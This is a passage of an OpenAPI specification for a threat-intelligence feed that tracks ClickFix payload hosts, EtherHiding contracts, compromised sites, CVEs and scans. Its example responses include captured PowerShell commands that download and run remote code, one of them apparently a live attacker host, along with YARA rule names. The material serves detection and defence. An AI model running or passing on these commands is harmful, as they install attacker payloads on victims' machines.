                        "properties": {
                          "date": {
                            "type": "string",
                            "format": "date"
                          },
                          "changes": {
                            "type": "array",
                            "items": {
                              "type": "string"
                            }
                          }
                        }
                      }
                    }
                  }
                },
                "example": {
                  "data": [
                    {
                      "date": "2026-11-16",
                      "changes": [
                        "`GET /v1/labels` lists the families and tags the feed holds, with how many hosts carry each and their aliases: the values the `tag` and `family` filters take. The `list_labels` MCP tool reads it.",
                        "`tag` and `family` filters on `/v1/indicators`, `/v1/changes` and TAXII take any alias of a name, such as `fakeupdates` for `socgholish`, in any case, and names with spaces such as `inferno drainer`. A filter saved on a family's old name keeps working after a rename or merge.",
                        "`GET /v1/delisted` no longer returns `families` and `tags`. Removed hosts that were in the feed keep them on `GET /v1/changes` and in TAXII.",
                        "`GET /v1/changes` also lists hosts whose roles, families or tags changed while they stayed in the feed, as `changed` with their feed row. Changes are ordered by the hourly build that published them, so a pull from the `asOf` of the last one misses none. TAXII gives such a host a new indicator version.",
                        "`GET /v1/changes?since=` lists the hosts added to and removed from the feed since a time, added hosts with their feed row and removed hosts with the reason, so a copy stays current with one request a day. The `list_changes` MCP tool reads it.",
                        "`GET /v1/indicators` and `GET /v1/delisted` take `limit` up to 5,000, so the whole feed comes down in a fifth of the requests. Pages still hold 1,000 rows when `limit` is left out."
                      ]
                    }
                  ]
                }
              }
            }
          },
          "401": {
            "$ref": "#/components/responses/401"
          },
          "429": {
            "$ref": "#/components/responses/429"
          }
        }
      }
    },
    "/commands": {
      "get": {
        "tags": [
          "Payloads"
        ],
        "operationId": "listCommands",
        "summary": "List ClickFix payload hosts",
        "description": "Every host the ClickFix commands we captured download from, one row per host, as on the [commands tracker](https://ohey.ca/threats/clickfix/commands/). The list is rebuilt daily and `asOf` is when. `host`, `url` and `command` are as captured, not defanged as on the tracker: `command` is a live attacker command and can name the compromised site it was copied from. A host written `*.domain` hands out a new subdomain on every visit. Every matching row comes back in one response.",
        "parameters": [
          {
            "name": "host",
            "in": "query",
            "description": "A host or domain. Matches that host, hosts under it, and a `*.domain` row covering it.",
            "schema": {
              "type": "string",
              "maxLength": 253
            },
            "example": "zhv8.com"
          },
          {
            "name": "kit",
            "in": "query",
            "description": "A kit name, lowercase, as in `kits`.",
            "schema": {
              "type": "string"
            },
            "example": "lenai"
          },
          {
            "name": "q",
            "in": "query",
            "description": "Text in the host, URL or command, case-insensitive.",
            "schema": {
              "type": "string",
              "maxLength": 2048
            },
            "example": "irm"
          }
        ],
        "responses": {
          "200": {
            "description": "The matching payload hosts.",
            "content": {
              "application/json": {
                "schema": {
                  "type": "object",
                  "required": [
                    "asOf",
                    "total",
                    "data"
                  ],
                  "properties": {
                    "asOf": {
                      "type": "string",
                      "format": "date",
                      "description": "The day the list was built."
                    },
                    "total": {
                      "type": "integer"
                    },
                    "data": {
                      "type": "array",
                      "items": {
                        "$ref": "#/components/schemas/PayloadHost"
                      }
                    }
                  }
                },
                "example": {
                  "asOf": "2026-11-09",
                  "total": 1,
                  "data": [
                    {
                      "host": "*.zhv8.com",
                      "kits": [
                        "gzipgnaw"
                      ],
                      "sites": 1604,
                      "urls": 1666,
                      "firstSeen": "2026-09-28",
                      "lastSeen": "2026-11-09",
                      "url": "http://drmdafggqjgwz.zhv8.com/s/w/1",
                      "command": "irm 'drmdafggqjgwz.zhv8.com/s/w/1' | iex"
                    }
                  ]
                }
              }
            }
          },
          "400": {
            "$ref": "#/components/responses/400"
          },
          "401": {
            "$ref": "#/components/responses/401"
          },
          "429": {
            "$ref": "#/components/responses/429"
          }
        }
      }
    },
    "/contracts": {
      "get": {
        "tags": [
          "Payloads"
        ],
        "operationId": "listContracts",
        "summary": "List EtherHiding contracts",
        "description": "Every smart contract EtherHiding kits read for their next stage, as on the [contracts tracker](https://ohey.ca/threats/etherhiding/contracts/). Ohey reads each contract daily. `destinations` are the hosts it returns now, live; `nextHops` are contracts it points to instead of a host. `sites` counts the feed hosts whose captured page called the contract. `history` is every destination the contract has returned, with the first and last day Ohey read each, from the daily snapshot dated `asOf`. Every matching row comes back in one response, most recently read first. `dnsNames` lists the DNS TXT names some kits read their next host from instead of a contract, from the same snapshot; `kit` and `destination` filter them, and `address` or `chain` leaves none.",
        "parameters": [
          {
            "name": "address",
            "in": "query",
            "description": "A contract address.",
            "schema": {
              "type": "string",
              "pattern": "^0x[0-9a-fA-F]{40}$"
            }
          },
          {
            "name": "kit",
            "in": "query",
            "description": "A kit name, lowercase.",
            "schema": {
              "type": "string"
            },
            "example": "lenai"
          },
          {
            "name": "chain",
            "in": "query",
            "description": "A chain name, as in `chain`, any case.",
            "schema": {
              "type": "string"
            },
            "example": "Polygon"
          },
          {
            "name": "destination",
            "in": "query",
            "description": "A host or domain the contract returns.",
            "schema": {
              "type": "string",
              "maxLength": 253
            }
          }
        ],
        "responses": {
          "200": {
            "description": "The matching contracts.",
            "content": {
              "application/json": {
                "schema": {
                  "type": "object",
                  "required": [
                    "asOf",
                    "total",
                    "data",
                    "dnsNames"
                  ],
                  "properties": {
                    "asOf": {
                      "type": "string",
                      "format": "date",
                      "description": "The daily snapshot `lastChanged`, `history` and `dnsNames` come from."
                    },
                    "total": {
                      "type": "integer",
                      "description": "Contracts in `data`."
                    },
                    "data": {
                      "type": "array",
                      "items": {
                        "$ref": "#/components/schemas/Contract"
                      }
                    },
                    "dnsNames": {
                      "type": "array",
                      "items": {
                        "$ref": "#/components/schemas/DnsName"
                      }
                    }
                  }
                },
                "example": {
                  "asOf": "2026-11-13",
                  "total": 1,
                  "dnsNames": [
                    {
                      "name": "xs.mmp-gep.org",
                      "kit": "asksocket",
                      "state": "resolved",
                      "destinations": [
                        "a1.mcp-source.online"
                      ],
                      "firstSeen": "2026-11-13",
                      "lastRead": "2026-11-13",
                      "lastChanged": "2026-11-13",
                      "history": [
                        {
                          "destination": "a1.mcp-source.online",
                          "firstSeen": "2026-11-13",
                          "lastSeen": "2026-11-13"
                        }
                      ]
                    }
                  ],
                  "data": [
                    {
                      "chain": "BNB Smart Chain testnet",
                      "chainId": 97,
                      "address": "0xe75744c53ec0914fe9be92847019d3d7122b6b77",
                      "kit": "chainbite",
                      "destinations": [
                        "audi-zen.fit",
                        "gl.githack.com"
                      ],
                      "nextHops": [
                        "0x0f14777c78d402bed55a67a6eb55dc87cc0b050a"
                      ],
                      "firstSeen": "2026-11-01",
                      "lastRead": "2026-11-09",
                      "sites": 12,
                      "lastChanged": "2026-11-05",
                      "history": [
                        {
                          "destination": "audi-zen.fit",
                          "firstSeen": "2026-11-01",
                          "lastSeen": "2026-11-09"
                        },
                        {
                          "destination": "gl.githack.com",
                          "firstSeen": "2026-11-05",
                          "lastSeen": "2026-11-09"
                        }
                      ]
                    }
                  ]
                }
              }
            }
          },
          "400": {
            "$ref": "#/components/responses/400"
          },
          "401": {
            "$ref": "#/components/responses/401"
          },
          "429": {
            "$ref": "#/components/responses/429"
          }
        }
      }
    },
    "/hosts": {
      "post": {
        "tags": [
          "Hosts"
        ],
        "operationId": "lookupHosts",
        "summary": "Look up up to 100 hosts",
        "description": "Up to 100 hosts in one request, each returned with its host profile, as from `GET /v1/hosts/{host}`, and its capture listing in `captureList`, as from `GET /v1/hosts/{host}/captures`. Hosts may be pasted as URLs or defanged; a `www.` host the feed lists without `www.` is returned as the feed lists it. `data` keeps the order sent. Hosts not in the feed, including hosts removed since your last list pull, are listed in `missing` instead of failing the request. The request counts once against the rate limit. To keep a copy of the feed, pull new and removed hosts from the TAXII collection with `added_after`, then look them up here.",
        "requestBody": {
          "required": true,
          "content": {
            "application/json": {
              "schema": {
                "type": "object",
                "required": [
                  "hosts"
                ],
                "properties": {
                  "hosts": {
                    "type": "array",
                    "minItems": 1,
                    "maxItems": 100,
                    "items": {
                      "type": "string",
                      "maxLength": 2048
                    },
                    "description": "Host names, IP addresses or URLs."
                  }
                }
              },
              "example": {
                "hosts": [
                  "compromised.example",
                  "removed.example"
                ]
              }
            }
          }
        },
        "responses": {
          "200": {
            "description": "The hosts in the feed, and those that are not.",
            "content": {
              "application/json": {
                "schema": {
                  "type": "object",
                  "required": [
                    "data",
                    "missing"
                  ],
                  "properties": {
                    "data": {
                      "type": "array",
                      "items": {
                        "allOf": [
                          {
                            "$ref": "#/components/schemas/HostProfile"
                          },
                          {
                            "type": "object",
                            "required": [
                              "captureList"
                            ],
                            "properties": {
                              "captureList": {
                                "type": "array",
                                "items": {
                                  "$ref": "#/components/schemas/Capture"
                                }
                              }
                            }
                          }
                        ]
                      }
                    },
                    "missing": {
                      "type": "array",
                      "items": {
                        "type": "string"
                      },
                      "description": "Hosts sent that are not in the feed."
                    }
                  }
                },
                "example": {
                  "data": [
                    {
                      "host": "compromised.example",
                      "indicator": {
                        "host": "compromised.example",
                        "reason": "Rule clickfix_etherhiding_fake_captcha_overlay matched hxxps://compromised[.]example/ in capture 12345 on 2026-09-26.",
                        "decidedBy": "automated",
                        "feedTypes": [
                          "distribution"
                        ],
                        "families": [
                          "bwpanel"
                        ],
                        "tags": [
                          "clickfix",
                          "compromised",
                          "etherhiding",
                          "tds",
                          "yarahit"
                        ],
                        "infraTypes": [
                          "hosting"
                        ],
                        "countries": [
                          "CA"
                        ],
                        "asns": [
                          64496
                        ],
                        "asOrgs": [
                          "Example Hosting"
                        ],
                        "resolvedIps": [
                          "192.0.2.10"
                        ],
                        "ports": [
                          443
                        ],
                        "sha256Samples": [
                          "0f3c6f6a4d3e8b1c9a2e7d5f4b6a8c0e1d3f5a7b9c2e4d6f8a0b1c3d5e7f9a2b"
                        ],
                        "dnsStatus": "live",
                        "passiveDnsHits": 0,
                        "trancoRank": null,
                        "firstSeen": "2026-06-24T17:16:07.871Z",
                        "lastSeen": "2026-09-29T00:13:52.575434Z",
                        "addedAt": "2026-06-24T17:16:07.871000Z"
                      },
                      "vulnerabilities": [],
                      "captures": {
                        "count": 1,
                        "firstAt": "2026-09-26T19:40:08.303639Z",
                        "latestAt": "2026-09-26T19:40:08.303639Z",
                        "rules": [
                          "clickfix_etherhiding_fake_captcha_overlay"
                        ]
                      },
                      "dns": [],
                      "commands": [],
                      "contracts": [],
                      "sites": [],
                      "captureList": [
                        {
                          "id": 1001,
                          "startedAt": "2026-09-26T19:40:08.303639Z",
                          "inputUrl": "https://compromised.example/",
                          "finalUrl": "https://compromised.example/",
                          "httpStatus": 200,
                          "rules": [
                            {
                              "name": "clickfix_etherhiding_fake_captcha_overlay",
                              "description": "Detects Etherhiding ClickFix loaders that resolve a remote landing and place it in a clipboard-enabled overlay with telemetry"
                            }
                          ],
                          "responses": []
                        }
                      ]
                    }
                  ],
                  "missing": [
                    "removed.example"
                  ]
                }
              }
            }
          },
          "400": {
            "$ref": "#/components/responses/400"
          },
          "401": {
            "$ref": "#/components/responses/401"
          },
          "413": {
            "description": "The body is larger than 64 KB."
          },
          "429": {
            "$ref": "#/components/responses/429"
          }
        }
      }
    },
    "/hosts/{host}": {
      "get": {
        "tags": [
          "Hosts"
        ],
        "operationId": "getHost",
        "summary": "Get a host profile",
        "description": "The host's feed row, the affected software found in its latest capture, a summary of its captures and its latest DNS records. For a compromised site, `commands` are the lure commands we captured on it with the payload URLs decoded from each, and `contracts` the smart contracts its page called. For a payload host, `sites` are the feed hosts whose captured command downloads from it. For ClickFix C2 infrastructure (`clickfixc2`), `captures` has a count of 0 and there are no vulnerabilities, as in the capture listing. A `www.` host the feed lists without `www.` returns the profile of the host as the feed lists it.",
        "parameters": [
          {
            "name": "host",
            "in": "path",
            "required": true,
            "description": "A host name or IP address, lowercase, as the feed lists it.",
            "schema": {
              "type": "string",
              "maxLength": 253
            },
            "example": "compromised.example"
          }
        ],
        "responses": {
          "200": {
            "description": "The host profile.",
            "content": {
              "application/json": {
                "schema": {
                  "$ref": "#/components/schemas/HostProfile"
                },
                "example": {
                  "host": "compromised.example",
                  "indicator": {
                    "host": "compromised.example",
                    "reason": "Rule clickfix_etherhiding_fake_captcha_overlay matched hxxps://compromised[.]example/ in capture 12345 on 2026-09-26.",
                    "decidedBy": "automated",
                    "feedTypes": [
                      "distribution"
                    ],
                    "families": [
                      "bwpanel"
                    ],
                    "tags": [
                      "clickfix",
                      "compromised",
                      "etherhiding",
                      "tds",
                      "yarahit"
                    ],
                    "infraTypes": [
                      "hosting"
                    ],
                    "countries": [
                      "CA"
                    ],
                    "asns": [
                      64496
                    ],
                    "asOrgs": [
                      "Example Hosting"
                    ],
                    "resolvedIps": [
                      "192.0.2.10"
                    ],
                    "ports": [
                      443
                    ],
                    "sha256Samples": [
                      "0f3c6f6a4d3e8b1c9a2e7d5f4b6a8c0e1d3f5a7b9c2e4d6f8a0b1c3d5e7f9a2b"
                    ],
                    "dnsStatus": "live",
                    "passiveDnsHits": 0,
                    "trancoRank": null,
                    "firstSeen": "2026-06-24T17:16:07.871Z",
                    "lastSeen": "2026-09-29T00:13:52.575434Z",
                    "addedAt": "2026-06-24T17:16:07.871000Z"
                  },
                  "vulnerabilities": [
                    {
                      "component": "elementor-pro",
                      "version": "3.24.2",
                      "title": "WordPress Elementor Pro plugin <= 4.2.1 - Arbitrary File Upload vulnerability",
                      "cve": "CVE-2026-32475",
                      "remediation": "Update the WordPress Elementor Pro Plugin to the latest available version (at least 4.2.2)."
                    }
                  ],
                  "captures": {
                    "count": 3,
                    "firstAt": "2026-09-13T03:20:10.958639Z",
                    "latestAt": "2026-09-26T19:40:08.303639Z",
                    "rules": [
                      "clickfix_etherhiding_fake_captcha_overlay",
                      "wordpress_backdoor_failover_visitor_beacon"
                    ]
                  },
                  "dns": [
                    {
                      "name": "compromised.example",
                      "type": "A",
                      "section": "answer",
                      "values": [
                        "192.0.2.10"
                      ],
                      "ttl": 7200,
                      "checkedAt": "2026-10-01T02:43:56.090673Z"
                    }
                  ],
                  "commands": [
                    {
                      "command": "powershell -w h -c \"irm https://payload.example/s/w/1 | iex\"",
                      "urls": [
                        "https://payload.example/s/w/1"
                      ],
                      "seenAt": "2026-09-26T19:40:08.303639Z"
                    }
                  ],
                  "contracts": [
                    {
                      "address": "0xe75744c53ec0914fe9be92847019d3d7122b6b77",
                      "selector": "0x6d4ce63c",
                      "chain": "BNB Smart Chain testnet",
                      "kit": "chainbite",
                      "seenAt": "2026-09-26T19:40:08.303639Z"
                    }
                  ],
                  "sites": []
                }
              }
            }
          },
          "400": {
            "$ref": "#/components/responses/400"
          },
          "401": {
            "$ref": "#/components/responses/401"
          },
          "404": {
            "$ref": "#/components/responses/404"
          },
          "429": {
            "$ref": "#/components/responses/429"
          }
        }
      }
    },
    "/hosts/{host}/captures": {
      "get": {
        "tags": [
          "Hosts"
        ],
        "operationId": "listCaptures",
        "summary": "List a host's captures",
        "description": "The stored captures of a host in the feed, newest first: up to 50 captures with their YARA rules, extracted lure commands and downloadable responses. For ClickFix C2 infrastructure (`clickfixc2`), only the responses that host served are listed, without details of the capture they came from.",
        "parameters": [
          {
            "name": "host",
            "in": "path",
            "required": true,
            "description": "A host name or IP address, lowercase, as the feed lists it.",
            "schema": {
              "type": "string",
              "maxLength": 253
            },
            "example": "compromised.example"
          }
        ],
        "responses": {
          "200": {
            "description": "The host's captures.",
            "content": {
              "application/json": {
                "schema": {
                  "type": "object",
                  "required": [
                    "host",
                    "captures"
                  ],
                  "properties": {
                    "host": {
                      "type": "string"
                    },
                    "captures": {
                      "type": "array",
                      "items": {
                        "$ref": "#/components/schemas/Capture"
                      }
                    }
                  }
                },
                "example": {
                  "host": "compromised.example",
                  "captures": [
                    {
                      "id": 1001,
                      "startedAt": "2026-09-26T19:40:08.303639Z",
                      "inputUrl": "https://compromised.example/",
                      "finalUrl": "https://compromised.example/",
                      "httpStatus": 200,
                      "rules": [
                        {
                          "name": "clickfix_etherhiding_fake_captcha_overlay",
                          "description": "Detects Etherhiding ClickFix loaders that resolve a remote landing and place it in a clipboard-enabled overlay with telemetry"
                        }
                      ],
                      "responses": [
                        {
                          "seq": 1,
                          "url": "https://compromised.example/",
                          "type": "Document",
                          "httpStatus": 200,
                          "sha256": "0f3c6f6a4d3e8b1c9a2e7d5f4b6a8c0e1d3f5a7b9c2e4d6f8a0b1c3d5e7f9a2b"
                        }
                      ]
                    }
                  ]
                }
              }
            }
          },
          "400": {
            "$ref": "#/components/responses/400"
          },
          "401": {
            "$ref": "#/components/responses/401"
          },
          "404": {
            "$ref": "#/components/responses/404"
          },
          "429": {
            "$ref": "#/components/responses/429"
          }
        }
      }
    },
    "/captures/{id}/responses/{seq}": {
      "get": {
        "tags": [
          "Hosts"
        ],
        "operationId": "downloadResponse",
        "summary": "Download a response body",
        "description": "Downloads one response listed by **List a host's captures** as an attachment. Only malicious Script and Document bodies can be downloaded. Bodies can be live malicious code: handle them as samples.",
        "parameters": [
          {
            "name": "id",
            "in": "path",
            "required": true,
            "description": "The capture `id`.",
            "schema": {
              "type": "integer",
              "minimum": 1
            }
          },
          {
            "name": "seq",
            "in": "path",
            "required": true,
            "description": "The response `seq`.",
            "schema": {
              "type": "integer",
              "minimum": 0
            }
          }
        ],
        "responses": {
          "200": {
            "description": "The response body, named after its SHA-256.",
            "headers": {
              "Content-Disposition": {
                "schema": {
                  "type": "string"
                },
                "example": "attachment; filename=\"0f3c6f6a...9a2b.bin\""
              }
            },
            "content": {
              "application/octet-stream": {
                "schema": {
                  "type": "string",
                  "format": "binary"
                }
              }
            }
          },
          "400": {
            "$ref": "#/components/responses/400"
          },
          "401": {
            "$ref": "#/components/responses/401"
          },
          "404": {
            "description": "No such capture response, or its body cannot be downloaded.",
            "content": {
              "application/json": {
                "schema": {
                  "$ref": "#/components/schemas/Error"
                },
                "example": {
                  "error": "Response unavailable"
                }
              }
            }
          },
          "429": {
            "$ref": "#/components/responses/429"
          }
        }
      }
    },
    "/vulnerabilities": {
      "get": {
        "tags": [
          "Vulnerabilities"
        ],
        "operationId": "listVulnerabilities",
        "summary": "List vulnerabilities",
        "description": "Published CVEs in publication order, up to 1,000 per page.",
        "parameters": [
          {
            "name": "limit",
            "in": "query",
            "description": "Rows per page, 1 to 1,000.",
            "schema": {
              "type": "integer",
              "minimum": 1,
              "maximum": 1000,
              "default": 1000
            }
          },
          {
            "$ref": "#/components/parameters/VulnerabilityCursor"
          }
        ],
        "responses": {
          "200": {
            "description": "A page of vulnerabilities.",
            "content": {
              "application/json": {
                "schema": {
                  "$ref": "#/components/schemas/VulnerabilityPage"
                },
                "example": {
                  "data": [
                    {
                      "id": "CVE-2024-3400",
                      "published": "2024-04-12T07:20:00.707Z",
                      "updated": "2025-10-21T23:05:21.315Z",
                      "title": "PAN-OS: Arbitrary File Creation Leads to OS Command Injection Vulnerability in GlobalProtect",
                      "description": "A command injection as a result of arbitrary file creation vulnerability in the GlobalProtect feature of Palo Alto Networks PAN-OS software for specific PAN-OS versions and distinct feature configurations may enable an unauthenticated attacker to execute arbitrary code with root privileges on the firewall. ...",
                      "assigner": "palo_alto",
                      "products": [
                        {
                          "vendor": "Palo Alto Networks",
                          "product": "Cloud NGFW"
                        },
                        {
                          "vendor": "Palo Alto Networks",
                          "product": "PAN-OS"
                        },
                        {
                          "vendor": "Palo Alto Networks",
                          "product": "Prisma Access"
                        }
                      ],
                      "cvss": {
                        "score": 10,
                        "severity": "critical",
                        "version": "3.1",
                        "source": "CNA",
                        "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"
                      },
                      "epss": {
                        "score": 0.99999,
                        "percentile": 1,
                        "date": "2026-10-06T12:00:23Z"
                      },
                      "kev": {
                        "added": "2024-04-12",
                        "due": "2024-04-19",
                        "ransomware": true
                      },
                      "exploited": true
                    }
                  ],
                  "next": "2024-04-12T07:20:00.707Z,CVE-2024-3400"
                }
              }
            }
          },
          "400": {
            "$ref": "#/components/responses/400"
          },
          "401": {
            "$ref": "#/components/responses/401"
          },
          "429": {
            "$ref": "#/components/responses/429"
          }
        }
      }
    },
    "/vulnerabilities/wordpress": {
      "get": {
        "tags": [
          "Vulnerabilities"
        ],
        "operationId": "listWordPressVulnerabilities",
        "summary": "List WordPress vulnerabilities",
        "description": "The same rows for CVEs affecting WordPress plugins, themes or core, each with `wordpress`: every affected component once, with its affected version ranges and its wordpress.org directory state.",
        "parameters": [
          {
            "name": "limit",
            "in": "query",
            "description": "Rows per page, 1 to 1,000.",
            "schema": {
              "type": "integer",
              "minimum": 1,
              "maximum": 1000,
              "default": 1000
            }
          },
          {
            "$ref": "#/components/parameters/VulnerabilityCursor"
          }
        ],
        "responses": {
          "200": {
            "description": "A page of WordPress vulnerabilities.",
            "content": {
              "application/json": {
                "schema": {
                  "$ref": "#/components/schemas/VulnerabilityPage"
                },
                "example": {
                  "data": [
                    {
                      "id": "CVE-2026-92537",
                      "published": "2026-10-01T02:27:46.143Z",
                      "updated": "2026-10-01T14:21:14.764Z",
                      "title": "Newsletter <= 9.3.9 - Unauthenticated Insufficiently Protected Credentials via '/tnp/l/' Click-Tracking REST Endpoint (Raw Subscriber Token Cookie Disclosure)",
                      "description": "The Newsletter plugin for WordPress is vulnerable to Insufficiently Protected Credentials in all versions up to, and including, 9.3.9 ...",
                      "assigner": "Wordfence",
                      "products": [
                        {
                          "vendor": "satollo",
                          "product": "Newsletter"
                        }
                      ],
                      "cvss": {
                        "score": 5.3,
                        "severity": "medium",
                        "version": "3.1",
                        "source": "CNA",
                        "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N"
                      },
                      "epss": {
                        "score": 0.00322,
                        "percentile": 0.23112,
                        "date": "2026-10-06T12:00:23Z"
                      },
                      "kev": null,
                      "exploited": false,
                      "wordpress": [
                        {
                          "component": "plugin:newsletter",
                          "current": "9.3.10",
                          "directory": "open",
                          "ranges": [
                            {
                              "to": "9.3.9",
                              "toInclusive": true
                            }
                          ]
                        }
                      ]
                    }
                  ],
                  "next": "2026-10-01T02:27:46.143Z,CVE-2026-92537"
                }
              }
            }
          },
          "400": {
            "$ref": "#/components/responses/400"
          },
          "401": {
            "$ref": "#/components/responses/401"
          },
          "429": {
            "$ref": "#/components/responses/429"
          }
        }
      }
    },
    "/vulnerabilities/{id}": {
      "get": {
        "tags": [
          "Vulnerabilities"
        ],
        "operationId": "getVulnerability",
        "summary": "Get a vulnerability",
        "description": "One CVE's row and every current source record about it: the CVE record, NVD, EPSS and KEV, GitHub and OSV advisories and publisher documents, each as published by its source. A CVE whose record or NVD entry names a WordPress component carries `wordpress` as the WordPress list does; the example CVE affects PAN-OS, so it has none.",
        "parameters": [
          {
            "name": "id",
            "in": "path",
            "required": true,
            "description": "A CVE ID.",
            "schema": {
              "type": "string",
              "pattern": "^CVE-[0-9]{4}-[0-9]{4,}$"
            },
            "example": "CVE-2024-3400"
          }
        ],
        "responses": {
          "200": {
            "description": "The vulnerability and its source records.",
            "content": {
              "application/json": {
                "schema": {
                  "type": "object",
                  "required": [
                    "vulnerability",
                    "sources"
                  ],
                  "properties": {
                    "vulnerability": {
                      "$ref": "#/components/schemas/Vulnerability"
                    },
                    "sources": {
                      "type": "array",
                      "items": {
                        "$ref": "#/components/schemas/SourceRecord"
                      }
                    }
                  }
                },
                "example": {
                  "vulnerability": {
                    "id": "CVE-2024-3400",
                    "published": "2024-04-12T07:20:00.707Z",
                    "updated": "2025-10-21T23:05:21.315Z",
                    "title": "PAN-OS: Arbitrary File Creation Leads to OS Command Injection Vulnerability in GlobalProtect",
                    "description": "A command injection as a result of arbitrary file creation vulnerability in the GlobalProtect feature of Palo Alto Networks PAN-OS software for specific PAN-OS versions and distinct feature configurations may enable an unauthenticated attacker to execute arbitrary code with root privileges on the firewall. ...",
                    "assigner": "palo_alto",
                    "products": [
                      {
                        "vendor": "Palo Alto Networks",
                        "product": "Cloud NGFW"
                      },
                      {
                        "vendor": "Palo Alto Networks",
                        "product": "PAN-OS"
                      },
                      {
                        "vendor": "Palo Alto Networks",
                        "product": "Prisma Access"
                      }
                    ],
                    "cvss": {
                      "score": 10,
                      "severity": "critical",
                      "version": "3.1",
                      "source": "CNA",
                      "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H"
                    },
                    "epss": {
                      "score": 0.99999,
                      "percentile": 1,
                      "date": "2026-10-06T12:00:23Z"
                    },
                    "kev": {
                      "added": "2024-04-12",
                      "due": "2024-04-19",
                      "ransomware": true
                    },
                    "exploited": true
                  },
                  "sources": [
                    {
                      "source": "kev",
                      "id": "CVE-2024-3400",
                      "url": "https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json",
                      "modifiedAt": "2024-04-12T00:00:00Z",
                      "record": {
                        "cveID": "CVE-2024-3400",
                        "vendorProject": "Palo Alto Networks",
                        "knownRansomwareCampaignUse": "Known"
                      }
                    }
                  ]
                }
              }
            }
          },
          "400": {
            "$ref": "#/components/responses/400"
          },
          "401": {
            "$ref": "#/components/responses/401"
          },
          "404": {
            "description": "Ohey has no record of this CVE.",
            "content": {
              "application/json": {
                "schema": {
                  "$ref": "#/components/schemas/Error"
                },
                "example": {
                  "error": "Not found"
                }
              }
            }
          },
          "429": {
            "$ref": "#/components/responses/429"
          }
        }
      }
    },
    "/scans": {
      "post": {
        "tags": [
          "Scans"
        ],
        "operationId": "startScan",
        "summary": "Start a scan",
        "description": "Loads the URL in the scanner the way the portal scanner does, archives the capture and records any YARA hits in the feed. A bare host name or IP address is scanned over HTTPS. Private and local addresses are refused.",
        "requestBody": {
          "required": true,
          "content": {
            "application/json": {
              "schema": {
                "type": "object",
                "required": [
                  "url"
                ],
                "properties": {
                  "url": {
                    "type": "string",
                    "maxLength": 2048,
                    "description": "The URL, host name or IP address to scan."
                  }
                }
              },
              "example": {
                "url": "compromised.example"
              }
            }
          }
        },
        "responses": {
          "202": {
            "description": "The scan has started.",
            "content": {
              "application/json": {
                "schema": {
                  "type": "object",
                  "required": [
                    "id",
                    "status"
                  ],
                  "properties": {
                    "id": {
                      "type": "string",
                      "pattern": "^[a-f0-9]{64}$"
                    },
                    "status": {
                      "type": "string",
                      "enum": [
                        "pending"
                      ]
                    }
                  }
                },
                "example": {
                  "id": "3f2b8c1d9e0a7f6b5c4d3e2f1a0b9c8d7e6f5a4b3c2d1e0f9a8b7c6d5e4f3a2b",
                  "status": "pending"
                }
              }
            }
          },
          "400": {
            "$ref": "#/components/responses/400"
          },
          "401": {
            "$ref": "#/components/responses/401"
          },
          "413": {
            "description": "The request body is over 8 KB.",
            "content": {
              "application/json": {
                "schema": {
                  "$ref": "#/components/schemas/Error"
                },
                "example": {
                  "error": "Request too large"
                }
              }
            }
          },
          "415": {
            "description": "The body is not JSON.",
            "content": {
              "application/json": {
                "schema": {
                  "$ref": "#/components/schemas/Error"
                },
                "example": {
                  "error": "JSON required"
                }
              }
            }
          },
          "429": {
            "description": "Over 120 requests a minute for this key or address, or over two scans a minute for this account, counted with the portal. Only the scan limit sends `Retry-After`.",
            "headers": {
              "Retry-After": {
                "schema": {
                  "type": "string"
                },
                "example": "60"
              }
            },
            "content": {
              "application/json": {
                "schema": {
                  "$ref": "#/components/schemas/Error"
                },
                "example": {
                  "error": "You can start 2 scans a minute. Try again in 42 seconds."
                }
              }
            }
          },
          "503": {
            "description": "No scanner slot is free. Retry after the number of seconds in `Retry-After`.",
            "headers": {
              "Retry-After": {
                "schema": {
                  "type": "string"
                },
                "example": "30"
              }
            },
            "content": {
              "application/json": {
                "schema": {
                  "$ref": "#/components/schemas/Error"
                },
                "example": {
                  "error": "The scanner is busy. Try again shortly."
                }
              }
            }
          }
        }
      }
    },
    "/scans/{id}": {
      "get": {
        "tags": [
          "Scans"
        ],
        "operationId": "getScan",
        "summary": "Get a scan result",
        "description": "The scan's status and, once complete, a summary: whether the page is malicious, what it hit, the commands and clipboard writes it tried to plant, suspected C2 and vulnerable software. Empty fields are omitted.",
        "parameters": [
          {
            "name": "id",
            "in": "path",
            "required": true,
            "description": "The scan id from `POST /v1/scans`.",
            "schema": {
              "type": "string",
              "pattern": "^[a-f0-9]{64}$"
            }
          }
        ],
        "responses": {
          "200": {
            "description": "The scan result.",
            "content": {
              "application/json": {
                "schema": {
                  "$ref": "#/components/schemas/ScanResult"
                },
                "example": {
                  "id": "3f2b8c1d9e0a7f6b5c4d3e2f1a0b9c8d7e6f5a4b3c2d1e0f9a8b7c6d5e4f3a2b",
                  "url": "compromised.example",
                  "status": "complete",
                  "finalUrl": "https://compromised.example/",
                  "httpStatus": 200,
                  "outcome": "confirmed",
                  "malicious": true,
                  "families": [
                    "bwpanel"
                  ],
                  "tags": [
                    "clickfix",
                    "etherhiding",
                    "compromised",
                    "yarahit"
                  ],
                  "campaigns": [],
                  "hits": [
                    {
                      "rule": "clickfix_etherhiding_fake_captcha_overlay",
                      "alert": "ClickFix fake CAPTCHA overlay",
                      "description": "Detects Etherhiding ClickFix loaders that resolve a remote landing and place it in a clipboard-enabled overlay with telemetry",
                      "family": "bwpanel",
                      "siteRole": "compromised",
                      "severity": "high",
                      "tags": [
                        "clickfix",
                        "etherhiding"
                      ],
                      "urls": [
                        "https://compromised.example/wp-content/uploads/loader.js"
                      ]
                    }
                  ],
                  "commands": [
                    {
                      "command": "powershell -w h -c \"iex(irm hxxps://payload[.]example/a)\"",
                      "urls": [
                        "https://payload.example/a"
                      ],
                      "rule": "clickfix_etherhiding_fake_captcha_overlay",
                      "foundIn": "runtime"
                    }
                  ],
                  "clipboardWrites": [
                    {
                      "origin": "https://compromised.example",
                      "text": "powershell -w h -c ...",
                      "decodedUrls": [
                        "https://payload.example/a"
                      ],
                      "truncated": false
                    }
                  ],
                  "c2": [],
                  "vulnerabilities": [
                    {
                      "component": "elementor-pro",
                      "version": "3.24.2",
                      "title": "WordPress Elementor Pro plugin <= 4.2.1 - Arbitrary File Upload vulnerability",
